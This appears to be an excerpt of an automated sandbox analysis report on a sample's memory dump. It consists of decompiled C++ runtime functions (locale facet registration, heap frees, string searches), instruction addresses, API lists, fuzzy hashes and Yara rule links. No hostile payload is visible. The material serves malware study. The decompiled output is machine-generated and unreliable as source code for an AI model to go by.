																																								asm("int3");
																																								_push(8);
																																								L0049D90B(0x4d6966, _t596, _t613);
																																								L00488DEA( &_v20, 0);
																																								_t614 =  *0x4ede24;
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t614;
																																								_t597 = E0042B315(_a8, E0042B22E(0x4eddc8, _t596, _t614, __eflags));
																																								__eflags = _t597;
																																								if(_t597 != 0) {
																																									L89:
																																									L00488E42( &_v20);
																																									return L0049D8D4(_t597);
																																								} else {
																																									__eflags = _t614;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E6FD(_t597, _t614, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											L0049D90B(0x4d6966, _t597, _t614);
																																											L00488DEA( &_v20, 0);
																																											_t615 =  *0x4eddf4;
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t615;
																																											_t598 = E0042B315(_a8, E0042B22E(0x4edda0, _t597, _t615, __eflags));
																																											__eflags = _t598;
																																											if(_t598 != 0) {
																																												L96:
																																												L00488E42( &_v20);
																																												return L0049D8D4(_t598);
																																											} else {
																																												__eflags = _t615;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E769(_t598, _t615, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														L0049D90B(0x4d6966, _t598, _t615);
																																														L00488DEA( &_v20, 0);
																																														_t616 =  *0x4ede28;
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t616;
																																														_t599 = E0042B315(_a8, E0042B22E(0x4eddcc, _t598, _t616, __eflags));
																																														__eflags = _t599;
																																														if(_t599 != 0) {
																																															L103:
																																															L00488E42( &_v20);
																																															return L0049D8D4(_t599);
																																														} else {
																																															__eflags = _t616;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E7D5(_t599, _t616, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	L0049D90B(0x4d6966, _t599, _t616);
																																																	L00488DEA( &_v20, 0);
																																																	_t617 =  *0x4eddf8;
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t617;
																																																	_t600 = E0042B315(_a8, E0042B22E(0x4edd78, _t599, _t617, __eflags));
																																																	__eflags = _t600;
																																																	if(_t600 != 0) {
																																																		L110:
																																																		L00488E42( &_v20);
																																																		return L0049D8D4(_t600);
																																																	} else {
																																																		__eflags = _t617;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			_t371 = E0048E849(_t600, _t617, __eflags);
																																																			_pop(_t535);
																																																			__eflags = _t371 - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(_t617);
																																																				_t618 = _t535;
																																																				_t194 = _t618 + 0x10;
																																																				 *_t194 =  *(_t618 + 0x10) & 0x00000000;
																																																				__eflags =  *_t194;
																																																				 *((intOrPtr*)(_t618 + 0x14)) = 7;
																																																				 *_t618 = 0;
																																																				L00494BE0( *((intOrPtr*)(_t639 + 8)));
																																																				return _t618;
																																																			} else {
																																																				_t600 = _v16;
																																																				_v16 = _t600;
																																																				_v4 = 1;
																																																				E0048919D(_t600);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t600 + 4))))();
																																																				 *0x4eddf8 = _t600;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t600 = _t617;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t599 = _v16;
																																																	_v16 = _t599;
																																																	_v4 = 1;
																																																	E0048919D(_t599);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t599 + 4))))();
																																																	 *0x4ede28 = _t599;
																																																	goto L103;
																																																}
																																															} else {
																																																_t599 = _t616;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t598 = _v16;
																																														_v16 = _t598;
																																														_v4 = 1;
																																														E0048919D(_t598);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t598 + 4))))();
																																														 *0x4eddf4 = _t598;
																																														goto L96;
																																													}
																																												} else {
																																													_t598 = _t615;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t597 = _v16;
																																											_v16 = _t597;
																																											_v4 = 1;
																																											E0048919D(_t597);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t597 + 4))))();
																																											 *0x4ede24 = _t597;
																																											goto L89;
																																										}
																																									} else {
																																										_t597 = _t614;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t596 = _v16;
																																								_v16 = _t596;
																																								_v4 = 1;
																																								E0048919D(_t596);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t596 + 4))))();
																																								 *0x4eddd8 = _t596;
																																								goto L82;
																																							}
																																						} else {
																																							_t596 = _t613;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t595 = _v16;
																																					_v16 = _t595;
																																					_v4 = 1;
																																					E0048919D(_t595);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t595 + 4))))();
																																					 *0x4ede08 = _t595;
																																					goto L75;
																																				}
																																			} else {
																																				_t595 = _t612;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t594 = _v16;
																																		_v16 = _t594;
																																		_v4 = 1;
																																		E0048919D(_t594);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t594 + 4))))();
																																		 *0x4eddd4 = _t594;
																																		goto L68;
																																	}
																																} else {
																																	_t594 = _t611;
																																	goto L68;
																																}
																															}
																														} else {
																															_t593 = _v16;
																															_v16 = _t593;
																															_v4 = 1;
																															E0048919D(_t593);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t593 + 4))))();
																															 *0x4ede04 = _t593;
																															goto L61;
																														}
																													} else {
																														_t593 = _t610;
																														goto L61;
																													}
																												}
																											} else {
																												_t592 = _v16;
																												_v16 = _t592;
																												_v4 = 1;
																												E0048919D(_t592);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t592 + 4))))();
																												 *0x4eddd0 = _t592;
																												goto L54;
																											}
																										} else {
																											_t592 = _t609;
																											goto L54;
																										}
																									}
																								} else {
																									_t591 = _v16;
																									_v16 = _t591;
																									_v4 = 1;
																									E0048919D(_t591);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t591 + 4))))();
																									 *0x4ede00 = _t591;
																									goto L47;
																								}
																							} else {
																								_t591 = _t608;
																								goto L47;
																							}
																						}
																					} else {
																						_t590 = _v16;
																						_v16 = _t590;
																						_v4 = 1;
																						E0048919D(_t590);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t590 + 4))))();
																						 *0x4eddec = _t590;
																						goto L40;
																					}
																				} else {
																					_t590 = _t607;
																					goto L40;
																				}
																			}
																		} else {
																			_t589 = _v16;
																			_v16 = _t589;
																			_v4 = 1;
																			E0048919D(_t589);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t589 + 4))))();
																			 *0x4eddf0 = _t589;
																			goto L33;
																		}
																	} else {
																		_t589 = _t606;
																		goto L33;
																	}
																}
															} else {
																_t588 = _v16;
																_v16 = _t588;
																_v4 = 1;
																E0048919D(_t588);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t588 + 4))))();
																 *0x4ede1c = _t588;
																goto L26;
															}
														} else {
															_t588 = _t605;
															goto L26;
														}
													}
												} else {
													_t587 = _v16;
													_v16 = _t587;
													_v4 = 1;
													E0048919D(_t587);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t587 + 4))))();
													 *0x4ede20 = _t587;
													goto L19;
												}
											} else {
												_t587 = _t604;
												goto L19;
											}
										}
									} else {
										_t586 = _v16;
										_v16 = _t586;
										_v4 = 1;
										E0048919D(_t586);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t586 + 4))))();
										 *0x4edde8 = _t586;
										goto L12;
									}
								} else {
									_t586 = _t603;
									goto L12;
								}
							}
						} else {
							_t585 = _v16;
							_v16 = _t585;
							_v4 = 1;
							E0048919D(_t585);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t585 + 4))))();
							 *0x4ede18 = _t585;
							goto L5;
						}
					} else {
						_t585 = _t602;
						goto L5;
					}
				}
			}

0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c741
0x0048c746
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e

APIs

__EH_prolog3.LIBCMT ref: 0048C717
std::_Lockit::_Lockit.LIBCPMT ref: 0048C721

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048C772
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C792
Concurrency::cancel_current_task.LIBCPMT ref: 0048C79F

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 7233701963cd401046e6d92841f82ed26d5360e8ba0577fce7e5c73750c9d637
Instruction ID: 58dec0d1fe3bd3fda58d2b996ba06d0af7309955b4bc7c56c9799c0485bcf23a
Opcode Fuzzy Hash: 7233701963cd401046e6d92841f82ed26d5360e8ba0577fce7e5c73750c9d637
Instruction Fuzzy Hash: 5301A175E001169BCB05FB6598996BE7771AF84314F24095EE4106B382CF7C9E018B99

Uniqueness

Uniqueness Score: -1.00%

Function 0048C7A5, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048C7AC
std::_Lockit::_Lockit.LIBCPMT ref: 0048C7B6

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048C807
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C827
Concurrency::cancel_current_task.LIBCPMT ref: 0048C834

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 2df940732c53b17db10b5e41f26ad0a1d31bdbdcc3de7715b241603d4b1ebf81
Instruction ID: e36a4d9fe8cc4170cb1dd06fa06e0c07e4575a9c3f34773dfdf7fe1810bf6a8d
Opcode Fuzzy Hash: 2df940732c53b17db10b5e41f26ad0a1d31bdbdcc3de7715b241603d4b1ebf81
Instruction Fuzzy Hash: E901C435D001168BCB05FBA5D859ABE77A1AF84314F54081FF810AB382DF3C9E01CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004BD298, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004BD2B0

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004BD2C2
_free.LIBCMT ref: 004BD2D4
_free.LIBCMT ref: 004BD2E6
_free.LIBCMT ref: 004BD2F8

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: 34ac51e8c055b3e294664dc612bae3cbc5df9e589059a9aa6d23460dcf2f4a11
Instruction ID: 21bbc4205594669f68ab256063db33df7e1a3609b43c217ca4934aeb7d5d12d3
Opcode Fuzzy Hash: 34ac51e8c055b3e294664dc612bae3cbc5df9e589059a9aa6d23460dcf2f4a11
Instruction Fuzzy Hash: 18F09C32804280A78629DB55E9C1CA7B7E9EF403103550C8BF418DB757D778FC805ABC

Uniqueness

Uniqueness Score: -1.00%

Function 004B9733, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 004B991A

Part of subcall function 004B3009: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BAEA8,00000000,?,004AB16D,?,00000008,?,004AD0C1,?,?,00000000), ref: 004B303B

__freea.LIBCMT ref: 004B9923
__freea.LIBCMT ref: 004B9948

Strings

wMJ, xrefs: 004B9745

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __freea$AllocateHeap
String ID: wMJ
API String ID: 2243444508-2099330561
Opcode ID: 6e91ce55d7b9ea4eba759cebaed16736688696507083eee6967a0cfd84de6117
Instruction ID: bd1046c0ed2026923ab6bb54f5f6b1936ba10a7c64732bc017e602d8fd777aa8
Opcode Fuzzy Hash: 6e91ce55d7b9ea4eba759cebaed16736688696507083eee6967a0cfd84de6117
Instruction Fuzzy Hash: 815102B2610206AAEF299E61DC41EFF77A9EF40754F14462EFE04D6240EB38DC50C6B8

Uniqueness

Uniqueness Score: -1.00%

Function 004BB7A0, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 004BB7EF
_free.LIBCMT ref: 004BB90C

Strings

*?, xrefs: 004BB7E3
., xrefs: 004BBAC3

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free_strpbrk
String ID: *?$.
API String ID: 3300345361-3972193922
Opcode ID: 3050af342206044afd6695d756835bfaa0fc130bb649a38e3b81b165590ff39c
Instruction ID: 5e8d4437e027354db0a914e45b0249d4f0a5d739f678af44c0f697afcb3efd33
Opcode Fuzzy Hash: 3050af342206044afd6695d756835bfaa0fc130bb649a38e3b81b165590ff39c
Instruction Fuzzy Hash: 9E51B171E002099FDF14DFA9C881AEEB7B9EF58314F24816EE544E7301D7B99A01CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004B384E, Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004B38D9
__alldvrm.LIBCMT ref: 004B3ADA
__alldvrm.LIBCMT ref: 004B3AFC

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: cf59a2465089a7603c647ea21e1a707a5df345a225b1c4ff3b1d698eb6aada1f
Instruction ID: aefbf502682c8a8259c916363cc8edfc7ad5277ee51f74c50151e1c402d83c2e
Opcode Fuzzy Hash: cf59a2465089a7603c647ea21e1a707a5df345a225b1c4ff3b1d698eb6aada1f
Instruction Fuzzy Hash: 88A15671A043869FEB21CF1AC8917EEBBE0EF15311F24416FE4959B382C63C9A41C769

Uniqueness

Uniqueness Score: -1.00%

Function 004A14C6, Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 004A158D
___AdjustPointer.LIBCMT ref: 004A15B0
___AdjustPointer.LIBCMT ref: 004A164C

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: f887c83835c5cb72f26c448c0f57ca06c8fd496e518150ae68044f1cab4e5553
Instruction ID: 3c0717075a898fdc87e0c65c008e7088a1d6a1ad2d33d74d011be9785ebaa25a
Opcode Fuzzy Hash: f887c83835c5cb72f26c448c0f57ca06c8fd496e518150ae68044f1cab4e5553
Instruction Fuzzy Hash: FA51F572A00202BFDB288F16C841B7A77A4EFA6714F14452FE907972B1E739EC41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004A13AF, Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 004A13CB
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004A13E4

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 12ce30e69bcd829123e241a44fea13e2aa5d7630d02dc2accc77c9449f5d7cb4
Instruction ID: e322488fc87d8f6f56728e4f6ae6b5a8be3650b98cbe535efeea6d341be13f0a
Opcode Fuzzy Hash: 12ce30e69bcd829123e241a44fea13e2aa5d7630d02dc2accc77c9449f5d7cb4
Instruction Fuzzy Hash: 5A01D83210E3269EA6242B7D7CC59672648EB37775B20033FF920491F2FF595C42A28C

Uniqueness

Uniqueness Score: -1.00%

Function 00490779, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 322COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00490783

Part of subcall function 0048CCE2: __EH_prolog3.LIBCMT ref: 0048CCE9
Part of subcall function 0048CCE2: std::_Lockit::_Lockit.LIBCPMT ref: 0048CCF3
Part of subcall function 0048CCE2: std::_Lockit::~_Lockit.LIBCPMT ref: 0048CD64

_Find_elem.LIBCPMT ref: 004909CE

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 004907FA

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 2544715827-2799312399
Opcode ID: df411ee7188d3068d1a87059f1f1ceb1888137fd4abafb0738d41a87681804b6
Instruction ID: 490cfd8966008d8ea8aa2438db57e70df60011e500df6618bd9db9fa2d7fdad4
Opcode Fuzzy Hash: df411ee7188d3068d1a87059f1f1ceb1888137fd4abafb0738d41a87681804b6
Instruction Fuzzy Hash: 9FC19271D043588EDF21DF68C8817ADBFB2AF15314F5440ABE8896B283CB785D85CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004BE45D, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 004B361B: _free.LIBCMT ref: 004B3652

_wcschr.LIBVCRUNTIME ref: 004BE5CF
_wcschr.LIBVCRUNTIME ref: 004BE5DD

Strings

Dy@, xrefs: 004BE4D0

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wcschr$_free
String ID: Dy@
API String ID: 4061643932-15957793
Opcode ID: debdb2c0d7586ea4a89d7033b72f6ab7402c9bf7c9316b958dc693d8f1734bcf
Instruction ID: 8b77ecb800fa38c15b9be58a4435142daaa5de86a45f9f3841541293fb08b5ea
Opcode Fuzzy Hash: debdb2c0d7586ea4a89d7033b72f6ab7402c9bf7c9316b958dc693d8f1734bcf
Instruction Fuzzy Hash: E9611871600606AAD725AB37CC42BEB73A8EF94714F10046FF905DB281FB78E95187B9

Uniqueness

Uniqueness Score: -1.00%

Function 004A9870, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 211COMMON

Download Yara Rule

Strings

pow, xrefs: 004A9975, 004A9992

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: pow
API String ID: 0-2276729525
